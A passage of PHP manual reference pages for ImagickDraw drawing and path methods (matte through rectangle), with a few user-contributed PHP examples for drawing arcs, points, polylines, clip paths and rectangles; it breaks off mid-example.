  • Paints on the image's opacity channel

ImagickDraw::matte

(PECL imagick 2.0.0)

ImagickDraw::matte — Paints on the image's opacity channel

Description

bool ImagickDraw::matte ( float $x , float $y , int $paintMethod )
Warning

This function is currently not documented; only its argument list is available.

Paints on the image's opacity channel in order to set effected pixels to transparent, to influence the opacity of pixels.

Parameters

x

x coordinate of the matte

y

y coordinate of the matte

paintMethod

PAINT_ constant

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Adds a path element to the current path

  • « ImagickDraw::matte
  • ImagickDraw::pathCurveToAbsolute »
  • PHP Manual
  • ImagickDraw
  • Adds a path element to the current path

ImagickDraw::pathClose

(PECL imagick 2.0.0)

ImagickDraw::pathClose — Adds a path element to the current path

Description

bool ImagickDraw::pathClose ( void )
Warning

This function is currently not documented; only its argument list is available.

Adds a path element to the current path which closes the current subpath by drawing a straight line from the current point to the current subpath's most recent starting point (usually, the most recent moveto point).

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Draws a cubic Bezier curve

  • « ImagickDraw::pathClose
  • ImagickDraw::pathCurveToQuadraticBezierAbsolute »
  • PHP Manual
  • ImagickDraw
  • Draws a cubic Bezier curve

ImagickDraw::pathCurveToAbsolute

(PECL imagick 2.0.0)

ImagickDraw::pathCurveToAbsolute — Draws a cubic Bezier curve

Description

bool ImagickDraw::pathCurveToAbsolute ( float $x1 , float $y1 , float $x2 , float $y2 , float $x , float $y )
Warning

This function is currently not documented; only its argument list is available.

Draws a cubic Bezier curve from the current point to (x,y) using (x1,y1) as the control point at the beginning of the curve and (x2,y2) as the control point at the end of the curve using absolute coordinates. At the end of the command, the new current point becomes the final (x,y) coordinate pair used in the polybezier.

Parameters

x1

x coordinate of the first control point

y1

y coordinate of the first control point

x2

x coordinate of the second control point

y2

y coordinate of the first control point

x

x coordinate of the curve end

y

y coordinate of the curve end

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Draws a quadratic Bezier curve

  • « ImagickDraw::pathCurveToAbsolute
  • ImagickDraw::pathCurveToQuadraticBezierRelative »
  • PHP Manual
  • ImagickDraw
  • Draws a quadratic Bezier curve

ImagickDraw::pathCurveToQuadraticBezierAbsolute

(PECL imagick 2.0.0)

ImagickDraw::pathCurveToQuadraticBezierAbsolute — Draws a quadratic Bezier curve

Description

bool ImagickDraw::pathCurveToQuadraticBezierAbsolute ( float $x1 , float $y1 , float $x , float $y )
Warning

This function is currently not documented; only its argument list is available.

Draws a quadratic Bezier curve from the current point to (x,y) using (x1,y1) as the control point using absolute coordinates. At the end of the command, the new current point becomes the final (x,y) coordinate pair used in the polybezier.

Parameters

x1

x coordinate of the control point

y1

y coordinate of the control point

x

x coordinate of the end point

y

y coordinate of the end point

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Draws a quadratic Bezier curve

  • « ImagickDraw::pathCurveToQuadraticBezierAbsolute
  • ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute »
  • PHP Manual
  • ImagickDraw
  • Draws a quadratic Bezier curve

ImagickDraw::pathCurveToQuadraticBezierRelative

(PECL imagick 2.0.0)

ImagickDraw::pathCurveToQuadraticBezierRelative — Draws a quadratic Bezier curve

Description

bool ImagickDraw::pathCurveToQuadraticBezierRelative ( float $x1 , float $y1 , float $x , float $y )
Warning

This function is currently not documented; only its argument list is available.

Draws a quadratic Bezier curve from the current point to (x,y) using (x1,y1) as the control point using relative coordinates. At the end of the command, the new current point becomes the final (x,y) coordinate pair used in the polybezier.

Parameters

x1

starting x coordinate

y1

starting y coordinate

x

ending x coordinate

y

ending y coordinate

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Draws a quadratic Bezier curve

  • « ImagickDraw::pathCurveToQuadraticBezierRelative
  • ImagickDraw::pathCurveToQuadraticBezierSmoothRelative »
  • PHP Manual
  • ImagickDraw
  • Draws a quadratic Bezier curve

ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute

(PECL imagick 2.0.0)

ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute — Draws a quadratic Bezier curve

Description

bool ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute ( float $x , float $y )
Warning

This function is currently not documented; only its argument list is available.

Draws a quadratic Bezier curve (using absolute coordinates) from the current point to (x,y). The control point is assumed to be the reflection of the control point on the previous command relative to the current point. (If there is no previous command or if the previous command was not a DrawPathCurveToQuadraticBezierAbsolute, DrawPathCurveToQuadraticBezierRelative, DrawPathCurveToQuadraticBezierSmoothAbsolut or DrawPathCurveToQuadraticBezierSmoothRelative, assume the control point is coincident with the current point.). At the end of the command, the new current point becomes the final (x,y) coordinate pair used in the polybezier.

Parameters

x

ending x coordinate

y

ending y coordinate

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Draws a quadratic Bezier curve

  • « ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute
  • ImagickDraw::pathCurveToRelative »
  • PHP Manual
  • ImagickDraw
  • Draws a quadratic Bezier curve

ImagickDraw::pathCurveToQuadraticBezierSmoothRelative

(PECL imagick 2.0.0)

ImagickDraw::pathCurveToQuadraticBezierSmoothRelative — Draws a quadratic Bezier curve

Description

bool ImagickDraw::pathCurveToQuadraticBezierSmoothRelative ( float $x , float $y )
Warning

This function is currently not documented; only its argument list is available.

Draws a quadratic Bezier curve (using relative coordinates) from the current point to (x, y). The control point is assumed to be the reflection of the control point on the previous command relative to the current point. (If there is no previous command or if the previous command was not a DrawPathCurveToQuadraticBezierAbsolute, DrawPathCurveToQuadraticBezierRelative, DrawPathCurveToQuadraticBezierSmoothAbsolut or DrawPathCurveToQuadraticBezierSmoothRelative, assume the control point is coincident with the current point). At the end of the command, the new current point becomes the final (x, y) coordinate pair used in the polybezier.

Parameters

x

ending x coordinate

y

ending y coordinate

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Draws a cubic Bezier curve

  • « ImagickDraw::pathCurveToQuadraticBezierSmoothRelative
  • ImagickDraw::pathCurveToSmoothAbsolute »
  • PHP Manual
  • ImagickDraw
  • Draws a cubic Bezier curve

ImagickDraw::pathCurveToRelative

(PECL imagick 2.0.0)

ImagickDraw::pathCurveToRelative — Draws a cubic Bezier curve

Description

bool ImagickDraw::pathCurveToRelative ( float $x1 , float $y1 , float $x2 , float $y2 , float $x , float $y )
Warning

This function is currently not documented; only its argument list is available.

Draws a cubic Bezier curve from the current point to (x,y) using (x1,y1) as the control point at the beginning of the curve and (x2,y2) as the control point at the end of the curve using relative coordinates. At the end of the command, the new current point becomes the final (x,y) coordinate pair used in the polybezier.

Parameters

x1

x coordinate of starting control point

y1

y coordinate of starting control point

x2

x coordinate of ending control point

y2

y coordinate of ending control point

x

ending x coordinate

y

ending y coordinate

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Draws a cubic Bezier curve

  • « ImagickDraw::pathCurveToRelative
  • ImagickDraw::pathCurveToSmoothRelative »
  • PHP Manual
  • ImagickDraw
  • Draws a cubic Bezier curve

ImagickDraw::pathCurveToSmoothAbsolute

(PECL imagick 2.0.0)

ImagickDraw::pathCurveToSmoothAbsolute — Draws a cubic Bezier curve

Description

bool ImagickDraw::pathCurveToSmoothAbsolute ( float $x2 , float $y2 , float $x , float $y )
Warning

This function is currently not documented; only its argument list is available.

Draws a cubic Bezier curve from the current point to (x,y) using absolute coordinates. The first control point is assumed to be the reflection of the second control point on the previous command relative to the current point. (If there is no previous command or if the previous command was not an DrawPathCurveToAbsolute, DrawPathCurveToRelative, DrawPathCurveToSmoothAbsolute or DrawPathCurveToSmoothRelative, assume the first control point is coincident with the current point.) (x2,y2) is the second control point (i.e., the control point at the end of the curve). At the end of the command, the new current point becomes the final (x,y) coordinate pair used in the polybezier.

Parameters

x2

x coordinate of the second control point

y2

y coordinate of the second control point

x

x coordinate of the ending point

y

y coordinate of the ending point

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Draws a cubic Bezier curve

  • « ImagickDraw::pathCurveToSmoothAbsolute
  • ImagickDraw::pathEllipticArcAbsolute »
  • PHP Manual
  • ImagickDraw
  • Draws a cubic Bezier curve

ImagickDraw::pathCurveToSmoothRelative

(PECL imagick 2.0.0)

ImagickDraw::pathCurveToSmoothRelative — Draws a cubic Bezier curve

Description

bool ImagickDraw::pathCurveToSmoothRelative ( float $x2 , float $y2 , float $x , float $y )
Warning

This function is currently not documented; only its argument list is available.

Draws a cubic Bezier curve from the current point to (x,y) using relative coordinates. The first control point is assumed to be the reflection of the second control point on the previous command relative to the current point. (If there is no previous command or if the previous command was not an DrawPathCurveToAbsolute, DrawPathCurveToRelative, DrawPathCurveToSmoothAbsolute or DrawPathCurveToSmoothRelative, assume the first control point is coincident with the current point.) (x2,y2) is the second control point (i.e., the control point at the end of the curve). At the end of the command, the new current point becomes the final (x,y) coordinate pair used in the polybezier.

Parameters

x2

x coordinate of the second control point

y2

y coordinate of the second control point

x

x coordinate of the ending point

y

y coordinate of the ending point

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Draws an elliptical arc

  • « ImagickDraw::pathCurveToSmoothRelative
  • ImagickDraw::pathEllipticArcRelative »
  • PHP Manual
  • ImagickDraw
  • Draws an elliptical arc

ImagickDraw::pathEllipticArcAbsolute

(PECL imagick 2.0.0)

ImagickDraw::pathEllipticArcAbsolute — Draws an elliptical arc

Description

bool ImagickDraw::pathEllipticArcAbsolute ( float $rx , float $ry , float $x_axis_rotation , bool $large_arc_flag , bool $sweep_flag , float $x , float $y )
Warning

This function is currently not documented; only its argument list is available.

Draws an elliptical arc from the current point to (x, y) using absolute coordinates. The size and orientation of the ellipse are defined by two radii (rx, ry) and an xAxisRotation, which indicates how the ellipse as a whole is rotated relative to the current coordinate system. The center (cx, cy) of the ellipse is calculated automatically to satisfy the constraints imposed by the other parameters. largeArcFlag and sweepFlag contribute to the automatic calculations and help determine how the arc is drawn. If largeArcFlag is TRUE then draw the larger of the available arcs. If sweepFlag is true, then draw the arc matching a clock-wise rotation.

Parameters

rx

x radius

ry

y radius

x_axis_rotation

x axis rotation

large_arc_flag

large arc flag

sweep_flag

sweep flag

x

x coordinate

y

y coordinate

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Draws an elliptical arc

  • « ImagickDraw::pathEllipticArcAbsolute
  • ImagickDraw::pathFinish »
  • PHP Manual
  • ImagickDraw
  • Draws an elliptical arc

ImagickDraw::pathEllipticArcRelative

(PECL imagick 2.0.0)

ImagickDraw::pathEllipticArcRelative — Draws an elliptical arc

Description

bool ImagickDraw::pathEllipticArcRelative ( float $rx , float $ry , float $x_axis_rotation , bool $large_arc_flag , bool $sweep_flag , float $x , float $y )
Warning

This function is currently not documented; only its argument list is available.

Draws an elliptical arc from the current point to (x, y) using relative coordinates. The size and orientation of the ellipse are defined by two radii (rx, ry) and an xAxisRotation, which indicates how the ellipse as a whole is rotated relative to the current coordinate system. The center (cx, cy) of the ellipse is calculated automatically to satisfy the constraints imposed by the other parameters. largeArcFlag and sweepFlag contribute to the automatic calculations and help determine how the arc is drawn. If largeArcFlag is TRUE then draw the larger of the available arcs. If sweepFlag is true, then draw the arc matching a clock-wise rotation.

Parameters

rx

x radius

ry

y radius

x_axis_rotation

x axis rotation

large_arc_flag

large arc flag

sweep_flag

sweep flag

x

x coordinate

y

y coordinate

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Terminates the current path

  • « ImagickDraw::pathEllipticArcRelative
  • ImagickDraw::pathLineToAbsolute »
  • PHP Manual
  • ImagickDraw
  • Terminates the current path

ImagickDraw::pathFinish

(PECL imagick 2.0.0)

ImagickDraw::pathFinish — Terminates the current path

Description

bool ImagickDraw::pathFinish ( void )
Warning

This function is currently not documented; only its argument list is available.

Terminates the current path.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Draws a line path

  • « ImagickDraw::pathFinish
  • ImagickDraw::pathLineToHorizontalAbsolute »
  • PHP Manual
  • ImagickDraw
  • Draws a line path

ImagickDraw::pathLineToAbsolute

(PECL imagick 2.0.0)

ImagickDraw::pathLineToAbsolute — Draws a line path

Description

bool ImagickDraw::pathLineToAbsolute ( float $x , float $y )
Warning

This function is currently not documented; only its argument list is available.

Draws a line path from the current point to the given coordinate using absolute coordinates. The coordinate then becomes the new current point.

Parameters

x

starting x coordinate

y

ending x coordinate

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Draws a horizontal line path

  • « ImagickDraw::pathLineToAbsolute
  • ImagickDraw::pathLineToHorizontalRelative »
  • PHP Manual
  • ImagickDraw
  • Draws a horizontal line path

ImagickDraw::pathLineToHorizontalAbsolute

(PECL imagick 2.0.0)

ImagickDraw::pathLineToHorizontalAbsolute — Draws a horizontal line path

Description

bool ImagickDraw::pathLineToHorizontalAbsolute ( float $x )
Warning

This function is currently not documented; only its argument list is available.

Draws a horizontal line path from the current point to the target point using absolute coordinates. The target point then becomes the new current point.

Parameters

x

x coordinate

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Draws a horizontal line

  • « ImagickDraw::pathLineToHorizontalAbsolute
  • ImagickDraw::pathLineToRelative »
  • PHP Manual
  • ImagickDraw
  • Draws a horizontal line

ImagickDraw::pathLineToHorizontalRelative

(PECL imagick 2.0.0)

ImagickDraw::pathLineToHorizontalRelative — Draws a horizontal line

Description

bool ImagickDraw::pathLineToHorizontalRelative ( float $x )
Warning

This function is currently not documented; only its argument list is available.

Draws a horizontal line path from the current point to the target point using relative coordinates. The target point then becomes the new current point.

Parameters

x

x coordinate

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Draws a line path

  • « ImagickDraw::pathLineToHorizontalRelative
  • ImagickDraw::pathLineToVerticalAbsolute »
  • PHP Manual
  • ImagickDraw
  • Draws a line path

ImagickDraw::pathLineToRelative

(PECL imagick 2.0.0)

ImagickDraw::pathLineToRelative — Draws a line path

Description

bool ImagickDraw::pathLineToRelative ( float $x , float $y )
Warning

This function is currently not documented; only its argument list is available.

Draws a line path from the current point to the given coordinate using relative coordinates. The coordinate then becomes the new current point.

Parameters

x

starting x coordinate

y

starting y coordinate

Return Values

No value is returned.

User Contributed Notes

Axeia 11-Apr-2009 02:20
Hope this of help of anything, I had one hell of a time to draw a simple pie slice, where in GD2 is very easily done with the 'arc' function.. this is a bit harder to do in imagick.

The degrees are a mess, seems like the path, arc and ellipse functions all use a different system.. utterly confusing.
Code below should at least be of help in understanding how it works.

For an example of the output, please see:
http://www.imagebam.com/image/8e0ca432393602
<?php
    function getPointOnCircumference( $widthOfCircle, $heightOfCircle, $degrees, $x = 0, $y = 0 )
    {
        return array(
            'x' => $x + ($widthOfCircle/2)  * sin( deg2rad( $degrees ) ),
            'y' => $y + ($heightOfCircle/2) * cos( deg2rad( $degrees ) )
        );
    }

    $width  = 200;
    $height = 200;
    $border = 2;
    $x = $width / 2;
    $y = $height / 2;
    $im = new Imagick();
    $im->newImage( $width, $height, "orange", "png" );

    $draw = new ImagickDraw();
    $draw->setFillColor( 'lime' );
    $draw->setStrokeColor( new ImagickPixel( 'black' ) );
    $draw->setStrokeWidth( 2 );
    $draw->arc( 0, 0, ($width-$border), ($height-$border), 270, 360  ); //270 till 360 degrees
    $im->DrawImage( $draw );

    $draw2 = new ImagickDraw();
    $draw2->setFillColor( 'red' );
    $draw2->setStrokeColor( new ImagickPixel( 'black' ) );
    $draw2->setStrokeWidth( 2 );
    $draw2->ellipse( 100, 100, $x-$border, $y-$border, 0, 90 );         //0 till 90 degrees
    $im->DrawImage( $draw2 );

    $draw3 = new ImagickDraw();
    $draw3->setFillColor( 'navy' );
    $draw3->setStrokeColor( new ImagickPixel( 'white' ) );
    $draw3->setStrokeWidth( 2 );
    $draw3->pathStart();
      $degrees90  = getPointOnCircumference( $width-2*$border,$height-2*$border, 360  );
      $degrees180 = getPointOnCircumference( $width-2*$border,$height-2*$border, 270 );
      $draw3->pathMoveToRelative( $x, $y ); //Move 'pencil' to middle of image.
      $draw3->pathLineToRelative(  $degrees90['x'],  $degrees90['y'] );
      $draw3->pathEllipticArcRelative( $width-$border, $height-$border, 0, false, true, $degrees180['x'], $degrees180['y']-$y+$border );
    $draw3->pathClose();
    $im->DrawImage( $draw3 );

    header( "Content-Type: image/png" );
    echo $im;
?>


Draws a vertical line

  • « ImagickDraw::pathLineToRelative
  • ImagickDraw::pathLineToVerticalRelative »
  • PHP Manual
  • ImagickDraw
  • Draws a vertical line

ImagickDraw::pathLineToVerticalAbsolute

(PECL imagick 2.0.0)

ImagickDraw::pathLineToVerticalAbsolute — Draws a vertical line

Description

bool ImagickDraw::pathLineToVerticalAbsolute ( float $y )
Warning

This function is currently not documented; only its argument list is available.

Draws a vertical line path from the current point to the target point using absolute coordinates. The target point then becomes the new current point.

Parameters

y

y coordinate

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Draws a vertical line path

  • « ImagickDraw::pathLineToVerticalAbsolute
  • ImagickDraw::pathMoveToAbsolute »
  • PHP Manual
  • ImagickDraw
  • Draws a vertical line path

ImagickDraw::pathLineToVerticalRelative

(PECL imagick 2.0.0)

ImagickDraw::pathLineToVerticalRelative — Draws a vertical line path

Description

bool ImagickDraw::pathLineToVerticalRelative ( float $y )
Warning

This function is currently not documented; only its argument list is available.

Draws a vertical line path from the current point to the target point using relative coordinates. The target point then becomes the new current point.

Parameters

y

y coordinate

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Starts a new sub-path

  • « ImagickDraw::pathLineToVerticalRelative
  • ImagickDraw::pathMoveToRelative »
  • PHP Manual
  • ImagickDraw
  • Starts a new sub-path

ImagickDraw::pathMoveToAbsolute

(PECL imagick 2.0.0)

ImagickDraw::pathMoveToAbsolute — Starts a new sub-path

Description

bool ImagickDraw::pathMoveToAbsolute ( float $x , float $y )
Warning

This function is currently not documented; only its argument list is available.

Starts a new sub-path at the given coordinate using absolute coordinates. The current point then becomes the specified coordinate.

Parameters

x

x coordinate of the starting point

y

y coordinate of the starting point

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Starts a new sub-path

  • « ImagickDraw::pathMoveToAbsolute
  • ImagickDraw::pathStart »
  • PHP Manual
  • ImagickDraw
  • Starts a new sub-path

ImagickDraw::pathMoveToRelative

(PECL imagick 2.0.0)

ImagickDraw::pathMoveToRelative — Starts a new sub-path

Description

bool ImagickDraw::pathMoveToRelative ( float $x , float $y )
Warning

This function is currently not documented; only its argument list is available.

Starts a new sub-path at the given coordinate using relative coordinates. The current point then becomes the specified coordinate.

Parameters

x

target x coordinate

y

target y coordinate

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Declares the start of a path drawing list

  • « ImagickDraw::pathMoveToRelative
  • ImagickDraw::point »
  • PHP Manual
  • ImagickDraw
  • Declares the start of a path drawing list

ImagickDraw::pathStart

(PECL imagick 2.0.0)

ImagickDraw::pathStart — Declares the start of a path drawing list

Description

bool ImagickDraw::pathStart ( void )
Warning

This function is currently not documented; only its argument list is available.

Declares the start of a path drawing list which is terminated by a matching DrawPathFinish() command. All other DrawPath commands must be enclosed between a and a DrawPathFinish() command. This is because path drawing commands are subordinate commands and they do not function by themselves.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Draws a point

  • « ImagickDraw::pathStart
  • ImagickDraw::polygon »
  • PHP Manual
  • ImagickDraw
  • Draws a point

ImagickDraw::point

(PECL imagick 2.0.0)

ImagickDraw::point — Draws a point

Description

bool ImagickDraw::point ( float $x , float $y )
Warning

This function is currently not documented; only its argument list is available.

Draws a point using the current stroke color and stroke thickness at the specified coordinates.

Parameters

x

point's x coordinate

y

point's y coordinate

Return Values

No value is returned.

User Contributed Notes

Brian 27-Oct-2013 01:19
This no longer uses the fill color.  It now uses the stroke color, consistent with the documentation.
spz 27-Sep-2009 08:41
point($x, $y) uses the FillColor of ImagickDraw! This actually took quite a while, till I found out that it's falsely documented on these pages. So to draw single pixels, do it like this:

<?php
$image = new Imagick();
$draw = new ImagickDraw();
$pixel = new ImagickPixel('red');
$image->newImage(10, 10, 'transparent', 'gif');

// Here comes the magick:
$pixel->setColor($_POST[$i."x".$j]);
$draw->setFillColor($pixel);
$draw->point($i,$j);

$image->drawImage($draw);
$image->writeImages($path, true);
?>


Draws a polygon

  • « ImagickDraw::point
  • ImagickDraw::polyline »
  • PHP Manual
  • ImagickDraw
  • Draws a polygon

ImagickDraw::polygon

(PECL imagick 2.0.0)

ImagickDraw::polygon — Draws a polygon

Description

bool ImagickDraw::polygon ( array $coordinates )
Warning

This function is currently not documented; only its argument list is available.

Draws a polygon using the current stroke, stroke width, and fill color or texture, using the specified array of coordinates.

Parameters

coordinates

multidimensional array like array( array( 'x' => 3, 'y' => 4 ), array( 'x' => 2, 'y' => 6 ) );

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Draws a polyline

  • « ImagickDraw::polygon
  • ImagickDraw::pop »
  • PHP Manual
  • ImagickDraw
  • Draws a polyline

ImagickDraw::polyline

(PECL imagick 2.0.0)

ImagickDraw::polyline — Draws a polyline

Description

bool ImagickDraw::polyline ( array $coordinates )
Warning

This function is currently not documented; only its argument list is available.

Draws a polyline using the current stroke, stroke width, and fill color or texture, using the specified array of coordinates.

Parameters

coordinates

array of x and y coordinates: array( array( 'x' => 4, 'y' => 6 ), array( 'x' => 8, 'y' => 10 ) )

Return Values

Returns TRUE on success.

User Contributed Notes

kris at blackpepper dot co dot nz 11-Jun-2010 05:51
draw a filled Isosceles Triangle

<?php
$width =  601;
$height = 601;

$max_x = $width  - 1;
$max_y = $height - 1;
$mid_y = $max_y / 2;
$mid_x = $max_x / 2;

$fillcolor = '#F00F00';

try {
        $lo_img = new Imagick();
        $lo_img->newImage( $width, $height, new ImagickPixel('transparent'));

        $draw = new ImagickDraw();

        $draw->setFillColor($fillcolor);
        $draw->setStrokeWidth( 1 );

                            //start point                  //end point
        $co_ords = array( array( 'x' => $mid_x, 'y' => 0 ),array('x'=>0,'y'=>$max_y)
                ,array( 'x' => 0, 'y' => $max_y ),array('x'=>$max_x,'y'=>$max_y)
                 ,array( 'x' => $mid_x, 'y' => 0 ),array('x'=>$max_x,'y'=>$max_y)
                );

        $draw->polyline($co_ords);

        $lo_img->drawImage( $draw );

        $lo_img->setImageFormat( "png" );

        header( "Content-Type: image/png" );
        echo $lo_img;

        $lo_img->destroy();
        $draw->destroy();
        exit;

    } catch (Exception $ex) {
        print_r($ex);
        return;
    }
?>


Destroys the current ImagickDraw in the stack, and returns to the previously pushed ImagickDraw

  • « ImagickDraw::polyline
  • ImagickDraw::popClipPath »
  • PHP Manual
  • ImagickDraw
  • Destroys the current ImagickDraw in the stack, and returns to the previously pushed ImagickDraw

ImagickDraw::pop

(PECL imagick 2.0.0)

ImagickDraw::pop — Destroys the current ImagickDraw in the stack, and returns to the previously pushed ImagickDraw

Description

bool ImagickDraw::pop ( void )
Warning

This function is currently not documented; only its argument list is available.

Destroys the current ImagickDraw in the stack, and returns to the previously pushed ImagickDraw. Multiple ImagickDraws may exist. It is an error to attempt to pop more ImagickDraws than have been pushed, and it is proper form to pop all ImagickDraws which have been pushed.

Return Values

Returns TRUE on success and false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Terminates a clip path definition

  • « ImagickDraw::pop
  • ImagickDraw::popDefs »
  • PHP Manual
  • ImagickDraw
  • Terminates a clip path definition

ImagickDraw::popClipPath

(PECL imagick 2.0.0)

ImagickDraw::popClipPath — Terminates a clip path definition

Description

bool ImagickDraw::popClipPath ( void )
Warning

This function is currently not documented; only its argument list is available.

Terminates a clip path definition.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Terminates a definition list

  • « ImagickDraw::popClipPath
  • ImagickDraw::popPattern »
  • PHP Manual
  • ImagickDraw
  • Terminates a definition list

ImagickDraw::popDefs

(PECL imagick 2.0.0)

ImagickDraw::popDefs — Terminates a definition list

Description

bool ImagickDraw::popDefs ( void )
Warning

This function is currently not documented; only its argument list is available.

Terminates a definition list.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Terminates a pattern definition

  • « ImagickDraw::popDefs
  • ImagickDraw::push »
  • PHP Manual
  • ImagickDraw
  • Terminates a pattern definition

ImagickDraw::popPattern

(PECL imagick 2.0.0)

ImagickDraw::popPattern — Terminates a pattern definition

Description

bool ImagickDraw::popPattern ( void )
Warning

This function is currently not documented; only its argument list is available.

Terminates a pattern definition.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Clones the current ImagickDraw and pushes it to the stack

  • « ImagickDraw::popPattern
  • ImagickDraw::pushClipPath »
  • PHP Manual
  • ImagickDraw
  • Clones the current ImagickDraw and pushes it to the stack

ImagickDraw::push

(PECL imagick 2.0.0)

ImagickDraw::push — Clones the current ImagickDraw and pushes it to the stack

Description

bool ImagickDraw::push ( void )
Warning

This function is currently not documented; only its argument list is available.

Clones the current ImagickDraw to create a new ImagickDraw, which is then added to the ImagickDraw stack. The original drawing ImagickDraw(s) may be returned to by invoking pop(). The ImagickDraws are stored on a ImagickDraw stack. For every Pop there must have already been an equivalent Push.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Starts a clip path definition

  • « ImagickDraw::push
  • ImagickDraw::pushDefs »
  • PHP Manual
  • ImagickDraw
  • Starts a clip path definition

ImagickDraw::pushClipPath

(PECL imagick 2.0.0)

ImagickDraw::pushClipPath — Starts a clip path definition

Description

bool ImagickDraw::pushClipPath ( string $clip_mask_id )
Warning

This function is currently not documented; only its argument list is available.

Starts a clip path definition which is comprised of any number of drawing commands and terminated by a ImagickDraw::popClipPath() command.

Parameters

clip_mask_id

Clip mask Id

Return Values

No value is returned.

User Contributed Notes

bogdan at moongate dot ro 09-Apr-2011 03:02
Here's an interactive example for your enjoyment, featuring two intersecting discs. My version doesn't antialias the clipping path; I suppose YMMV.

<?php

// Simple clip path example
// Bogdan Stancescu

$showClipping=1; // Try setting this to 0!
$showDrawing=1;  // Try setting this to 0!

// Don't edit below this line (at least until you understand the example)

$showBoth=$showClipping && $showDrawing;
$showAny=$showClipping || $showDrawing;

$image=new Imagick(); // Create image

// Image size
$width=151;
$height=101;

$image->newImage($width, $height, new ImagickPixel('lightgray')); // some visible background

$draw=new ImagickDraw(); // Create draw object

if ($showBoth)
        $draw->pushClipPath('circle_left'); // Start clipping path

if ($showClipping) {
        $draw->setFillColor('red'); // The color doesn't matter if we clip
        $draw->circle(50,50,50,0); // A circle that occupies 100x100px on the left
}

if ($showBoth) {
        $draw->popClipPath(); // Finish clipping path
        $draw->setClipPath('circle_left'); // Use the clipping path above
}

if ($showDrawing) {
        $draw->setFillColor('navy'); // This is the actual drawing color
        $draw->circle(100,50,100,0); // A circle that occupies 100x100px on the right
}

if ($showAny)
        $image->drawImage($draw); // Render $draw unto $image

$image->setImageFormat('png'); // Tell ImageMagick how to render this
header("Content-Type: image/png"); // Tell the browser how to render this

echo $image; // Render the image into the browser
?>


Indicates that following commands create named elements for early processing

  • « ImagickDraw::pushClipPath
  • ImagickDraw::pushPattern »
  • PHP Manual
  • ImagickDraw
  • Indicates that following commands create named elements for early processing

ImagickDraw::pushDefs

(PECL imagick 2.0.0)

ImagickDraw::pushDefs — Indicates that following commands create named elements for early processing

Description

bool ImagickDraw::pushDefs ( void )
Warning

This function is currently not documented; only its argument list is available.

Indicates that commands up to a terminating ImagickDraw::popDefs() command create named elements (e.g. clip-paths, textures, etc.) which may safely be processed earlier for the sake of efficiency.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Indicates that subsequent commands up to a ImagickDraw::opPattern() command comprise the definition of a named pattern

  • « ImagickDraw::pushDefs
  • ImagickDraw::rectangle »
  • PHP Manual
  • ImagickDraw
  • Indicates that subsequent commands up to a ImagickDraw::opPattern() command comprise the definition of a named pattern

ImagickDraw::pushPattern

(PECL imagick 2.0.0)

ImagickDraw::pushPattern — Indicates that subsequent commands up to a ImagickDraw::opPattern() command comprise the definition of a named pattern

Description

bool ImagickDraw::pushPattern ( string $pattern_id , float $x , float $y , float $width , float $height )
Warning

This function is currently not documented; only its argument list is available.

Indicates that subsequent commands up to a DrawPopPattern() command comprise the definition of a named pattern. The pattern space is assigned top left corner coordinates, a width and height, and becomes its own drawing space. Anything which can be drawn may be used in a pattern definition. Named patterns may be used as stroke or brush definitions.

Parameters

pattern_id

the pattern Id

x

x coordinate of the top-left corner

y

y coordinate of the top-left corner

width

width of the pattern

height

height of the pattern

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Draws a rectangle

  • « ImagickDraw::pushPattern
  • ImagickDraw::render »
  • PHP Manual
  • ImagickDraw
  • Draws a rectangle

ImagickDraw::rectangle

(PECL imagick 2.0.0)

ImagickDraw::rectangle — Draws a rectangle

Description

bool ImagickDraw::rectangle ( float $x1 , float $y1 , float $x2 , float $y2 )
Warning

This function is currently not documented; only its argument list is available.

Draws a rectangle given two coordinates and using the current stroke, stroke width, and fill settings.

Parameters

x1

x coordinate of the top left corner

y1

y coordinate of the top left corner

x2

x coordinate of the bottom right corner

y2

y coordinate of the bottom right corner

Return Values

No value is returned.

User Contributed Notes

garym at binaryfarm dot com 01-Mar-2010 01:32
<?php

// Draw a simple rectangle or three for the newbies.
// I'm trying to comment these as best I can for a non-OOP person.
// commets or criticism are welcome. Gary Melander

$image = new Imagick();    // Create a new instance an $image class

$width =  600;        // Some necessary dimensions
$height = 400;

// $image class now inherits some attributes. i.e. Dimensions, bkgcolor...
